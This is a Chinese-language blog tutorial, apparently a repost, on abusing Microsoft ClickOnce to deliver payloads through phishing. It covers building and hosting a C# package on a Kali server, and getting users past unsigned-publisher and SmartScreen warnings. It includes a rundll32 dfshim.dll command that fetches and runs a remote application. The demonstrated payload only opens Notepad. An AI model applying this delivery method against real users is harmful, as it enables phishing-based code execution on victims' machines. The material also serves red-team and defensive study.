ClickOnce:一种用于社会工程和(不)受信任命令执行的技术

什么是 ClickOnce?

ClickOnce 是“一种微软技术,允许用户通过点击网页中的链接来安装和运行基于 Windows 的智能客户端应用程序”。作为 .NET 框架的一个组件,ClickOnce 允许开发人员为其(C#)Visual Studio 项目创建一个网络启用的安装包。根据操作系统版本和浏览器安全设置(例如 SmartFilter),ClickOnce 应用程序可以从微软浏览器(以非特权用户身份)安装,或通过命令行仅需几次点击即可启动。

操作使用的要求是什么?

要开始使用 ClickOnce,我们需要做些准备工作:

  • 对于社会工程活动,需要使用微软网络浏览器(Edge/Internet Explorer)来调用 ClickOnce 安装程序。此外,目标组织必须安装适当版本的 .NET 框架以启动相应的有效负载。(注意:可以使用另一种方法通过网络部署设置调用,但需要更多步骤。)
  • 如何准备你的有效负载(C# 应用程序)将决定你的 .NET 框架版本要求。考虑准备使用较早版本的 .NET 的有效负载。
  • Visual Studio(C#)和相应的应用程序要求。
  • 一个基本的有效负载。在本例中,我们将使用 C# 代码片段启动 notepad.exe。
  • 一个用来托管安装包的网络服务器/站点(与 ClickOnce 发布者的 URL 匹配)。
创建 ClickOnce 部署包

1. 打开 Visual Studio 并创建一个新的 Visual C# 项目。选择控制台应用程序并适当地命名。在本例中,我们将解决方案命名为 'example'。

图片

2 – 编写/构建你的 C# 程序用于发布。在本例中,我们将启动 notepad.exe。

图片

3 – 测试你的有效负载以确保 ‘example.exe’ 启动 ‘notepad.exe’

图片

4 – 在解决方案资源管理器中,右键点击项目并选择“属性”这将打开属性菜单,我们将用它来准备应用程序进行发布。

图片

5 – 我们本应更早完成这一步,但现在可以在应用程序菜单下,将目标框架设置为你想要的版本。在本例中,我将选择 .NET Framework 2.0。如果你更改了这个值,可能会提示需要关闭并重新打开当前项目。点击“是”。项目解决方案应该会在我们之前的工作进度处重新打开。

图片

6 – 可选。在“签名”选项下,你可以选择对部署包创建的清单文件进行签名。这可能会有优势,但在本例中,我们将不使用此设置。用户在安装时会收到关于未签名应用程序的警告。

图片

7 – 这一步至关重要

在“发布”选项下,设置发布文件夹位置,将部署包(文件和文件夹)保存到本地磁盘(例如 c:\deploy)。

对于安装文件夹 URL,设置用于应用程序部署的 URL。这将是客户端用于下载和安装应用程序包的目标服务器 URL。在本例中,我将使用我的 KALI 机器的根 URL/IP – http://192.168.64.139/

在安装模式和设置中,选择选项 – 该应用程序仅在线可用。这将“安装”应用程序而不在开始菜单中添加快捷方式。

选择一个自定义的发布版本。取消选择每次发布时自动递增修订版。

图片

8 – 选择“应用程序文件”按钮。选择“显示所有文件”复选框。在本例中,我包括了所有应用程序文件,并将它们设置为下载组的必需文件。点击“确定”。

图片

9 – 选择“前提条件”按钮。取消选择所有框架前提条件,并取消选择安装前提组件的复选框。点击“确定”。

图片

10 – 选择“选项”按钮。在部署下,取消选择“发布后打开部署网页”复选框。点击“确定”。

图片

11 – 点击“立即发布”。项目将编译和重建,并在我们之前选择的目录中创建发布包。在本例中,我导航到 ‘c:\deploy’ 并看到一个名为 example.application 的文件和一个名为 Application Files 的文件夹已经创建。Application Files 目录包含另一个应用程序文件和部署文件。

图片

12 – 将所有发布文件和文件夹复制到部署 Web 服务器。在本例中,我将这些文件复制到我的 Kali 机器上的一个空目录中。

图片

13 – 在 Kali 机器上,我将使用 Python 的 SimpleHTTPServer 来托管包内容。

图片

现在包已经创建、发布并部署了,我们将继续在 Windows 7 和 Windows 10 机器上安装部署包。在接下来的例子中,我们假设鱼叉式网络钓鱼活动成功。使用微软的网络浏览器,用户将访问链接 http://192.168.64.139/example.application 以获取应用程序文件。

Windows 7 部署案例

1 – 用户打开 .application 文件的 URL。会出现一个“启动应用程序”窗口。注意,此窗口可能会在启动应用程序安装程序之前显示几秒钟。

图片

2 – 应用程序安装程序窗口出现,并显示一个警告,指示无法验证发布者。(这从来没有阻止过任何人,对吧?)点击“安装”。

图片

3 – 应用程序安装并启动我们的有效负载 – Notepad.exe

图片

4 – 应用程序安装到用户文件夹\appdata\local\apps\的目录结构下。在本例中,我们的安装程序将文件写入到:

C:\Users\<username>\appdata\Local\Apps\2.0\04N34AVW.PA1\419VWAAW.9L3\exam..tion_45c05a10e71e9e2e_0001.0000_85e3c818d38a283a

此外,“程序和功能”中会显示该应用程序已安装。以下命令应能移除该应用程序

wmic product where name = "example" call uninstall /nointeractive

图片

5 – 注意托管我们有效负载的 Web 服务器收到的请求数量。

图片

Windows 10 部署示例

1 – 用户打开 .application 文件的 URL。Edge 提示用户打开文件。点击“打开”。

图片

2 – 出现一个“启动应用程序”窗口。注意,这个窗口在启动应用程序安装程序之前可能会显示几秒钟。

图片

3 – 出现应用程序安装程序窗口,显示一个警告,指示无法验证发布者。点击“安装”。

图片

4 – 应用程序安装程序,但 Windows Defender SmartScreen 将启动应用程序标记为未识别。继续运行应用程序,选择“更多信息”和“仍要运行”。

图片

5 – 应用程序安装并启动我们的有效负载 – Notepad.exe

图片

6 – 应用程序安装到用户文件夹\appdata\local\apps\的目录结构下。在本例中,我们的安装程序将文件写入到:

C:\Users\<username>\appdata\Local\Apps\2.0\JRBRQ693.D9B\ANR3544R.JJM\exam..tion_45c05a10e71e9e2e_0001.0000_2909d9650ee28cc4

图片

一些其他功能

请注意,这只是一个使用 ClickOnce 部署有效负载的概述。还有其他方法可以做到这一点。

使用命令行调用安装程序,例如:

rundll32.exe dfshim.dll,ShOpenVerbApplication http://<site>/name.application

使用部署网页发布。这个选项可能会增加额外的浏览器支持,但可能会在过程中增加额外的“点击”。

  • 24
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值